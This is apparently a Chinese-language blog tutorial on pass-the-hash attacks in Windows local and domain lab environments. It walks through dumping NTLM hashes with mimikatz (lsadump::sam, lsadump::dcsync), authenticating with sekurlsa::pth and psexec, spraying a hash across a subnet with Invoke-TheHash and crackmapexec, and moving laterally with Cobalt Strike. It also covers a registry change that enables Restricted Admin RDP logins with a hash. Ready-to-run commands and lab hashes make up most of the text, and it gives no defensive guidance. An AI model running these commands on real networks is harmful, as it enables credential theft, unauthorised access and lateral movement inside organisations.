PTH哈希传递
原理及条件
PTH概述
PTH(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。
在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。
如果计算机的本地管理员账户和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。
PTH原理-NTLM认证中
response是如何生成的呢?
response = NTProofStr+blob两部分组成的
NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的
NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密
- blob是由时间、目标信息、随机填充字符等生成
PTH原理-kerberos认证中
AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:
PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key
PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)
- kdc-options:协商字段
- cname:请求的用户名
- realm:域名
- sname:请求的服务名
条件
1、有管理员的NTLM Hash值
2、目标机器开放了445端口
哪些用户可以进行PTH
- 域管理员 administrator
- 普通域管理员(admin domain组中的用户)
- 普通域用户
- 本地管理员 administrator
- 本地普通管理员
- 本地普通用户
不同用户下的PTH区别
本地账户测试环境
机器环境
- Windows server 2003
- Windows server 2008
- Windows server 2012
- Windows server 2016
- Windows 10
各一台
账户准备
- 每台机器创建相同的账户
user.bat
@echo off
net user administrator /active:yes
net user administrator A1b2c3d4.@.
net user xbxaq Z1x2c34@! /add
net localgroup administrators xbxaq /add
net user test 23zxCv@.ABc /add
- administrator 超级管理员
- xbxaq 本地管理员
- test 普通用户
抓取每个账号HASH值
mimikatz命令
privilege::debug
token::elevate
lsadump::sam
administrator
Hash NTLM:f952cdd9583547bdbb1502d2b6060afc
xbxaq
Hash NTLM:fa4afe3f359c5ed2932c6abcc5439568
test
Hash NTLM:4f3c171070a3f75632f4a972f5291b6a
PTH哈希传递
mimikatz工具
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl
执行成功后,会弹出cmd窗口,可使用IPC$进行验证是否传递成功
使用administrator的账号进行hash传递
sekurlsa::pth /user:administrator /domain:192.168.146.134 /ntlm:f952cdd9583547bdbb1502d2b6060afc
传递成功
sekurlsa::pth /user:xbxaq /domain:192.168.146.134 /ntlm:fa4afe3f359c5ed2932c6abcc5439568
传递失败
本地账户传递
超级管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | administrator | 成功 |
Windows server 2008 | administrator | 成功 |
Windows server 2012 | administrator | 成功 |
Windows server 2016 | administrator | 成功 |
Windows 10 | administrator | 成功 |
普通管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq | 成功 |
Windows server 2008 | xbxaq | 失败 |
Windows server 2012 | xbxaq | 失败 |
Windows server 2016 | xbxaq | 失败 |
Windows 10 | xbxaq | 失败 |
普通用户 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | test | 失败 |
Windows server 2008 | test | 失败 |
Windows server 2012 | test | 失败 |
Windows server 2016 | test | 失败 |
Windows 10 | test | 失败 |
总结
administrator账户可以进行PTH传递,本地普通管理员只可以在Windows server 2003 、XP中进行PTH传递,本地普通用户不可以进行PTH传递。
域内账户测试环境
账户
- administrator 域内超级管理员
- xbxaqsec 域普通管理员组,密码为Abc321@.zxc
- test 域内普通用户组,密码为zbXAS12@34
抓取HASH值
使用mimikatz工具读取所有用户的hash值
lsadump::dcsync /domain:xbxaq.com /all /csv
hash值
用户名 | hash值 |
---|---|
administrator | db40247dab331ac57c207032f198f364 |
xbxaqsec | 29702c72ab196dd8712b96f8dd5db1c3 |
test | 1cf629e4627ef393d59c36957524e9d4 |
hash传递
psexec.exe 域名/账户名@目标机器名 -hashes lmhash值:nthash值
lmhash默认为禁用状态,aad3b435b51404eead3b435b51404ee
例如对Windows server 2008机器使用administrator用户进行hash传递
psexec.exe xbxaq/administrator@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364
传递成功
psexec.exe xbxaq/test@zhangsan.xbxaq.com -hashes aad3b435b51404eead3b435b51404ee:1cf629e4627ef393d59c36957524e9d4
传递失败
域内账户传递
域超级管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq\administrator | 成功 |
Windows server 2008 | xbxaq\administrator | 成功 |
Windows server 2012 | xbxaq\administrator | 成功 |
Windows server 2016 | xbxaq\administrator | 成功 |
Windows 10 | xbxaq\administrator | 成功 |
域普通管理员 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq\xbxaqsec | 成功 |
Windows server 2008 | xbxaq\xbxaqsec | 成功 |
Windows server 2012 | xbxaq\xbxaqsec | 成功 |
Windows server 2016 | xbxaq\xbxaqsec | 成功 |
Windows 10 | xbxaq\xbxaqsec | 成功 |
域普通用户 hash值传递
机器型号 | 账户名 | 结果 |
---|---|---|
Windows server 2003 | xbxaq\test | 失败 |
Windows server 2008 | xbxaq\test | 失败 |
Windows server 2012 | xbxaq\test | 失败 |
Windows server 2016 | xbxaq\test | 失败 |
Windows 10 | xbxaq\test | 失败 |
总结
域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。
Hash值批量碰撞
内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。
这里主要介绍两种方法
power shell脚本
Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。
执行该脚本不需要本地管理员权限
条件:power shell 2.0及以上
用法:
Import-Module .Invoke-TheHash.ps1 (导入批量模块)
Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364
CS上执行Invoke-TheHash脚本
1、先将Invoke-TheHash.zip通过文件管理上传
2、再上传unzip.exe小工具
3、通过unzip.exe对powershell脚本进行解压缩
4、进入 Invoke-TheHash目录执行以下命令
shell powershell -exec bypass -command "& { import-module .\Invoke-TheHash.psd1; Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364}"
crackmapexec工具
crackmapexec也可以进行批量碰撞
crackmapexec.exe 192.168.110.0/24 -u administrator -H aad3b435b51404eead3b435b51404ee:db40247dab331ac57c207032f198f364
PTH认证CS上线
需要实验机器关闭防火墙
1、展示已经入侵的计算机
2、选择需要上线的主机IP地址,右键jump,点击psexec
3、选择所需要使用的用户名
密码就是用户名对应的hash值,Domain就是目标主机的IP地址,再分别选中监听器与会话
点击开始等待上线
Mimikatz工具进行PTH
相关命令
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash
执行完成之后会弹出一个cmd
可以利用这个cmd命令执行程序,配合copy、计划任务或添加服务等方式进行上线。
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364
利用PTH进行远程桌面
开启远程桌面的命令
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
Mimikatz命令
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或IP地址 /ntlm:hash值 "/run:mstsc.exe /restrictedadmin"
例如:
sekurlsa::pth /user:administrator /domain:192.168.110.10 /ntlm:db40247dab331ac57c207032f198f364 "/run:mstsc.exe /restrictedadmin"
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论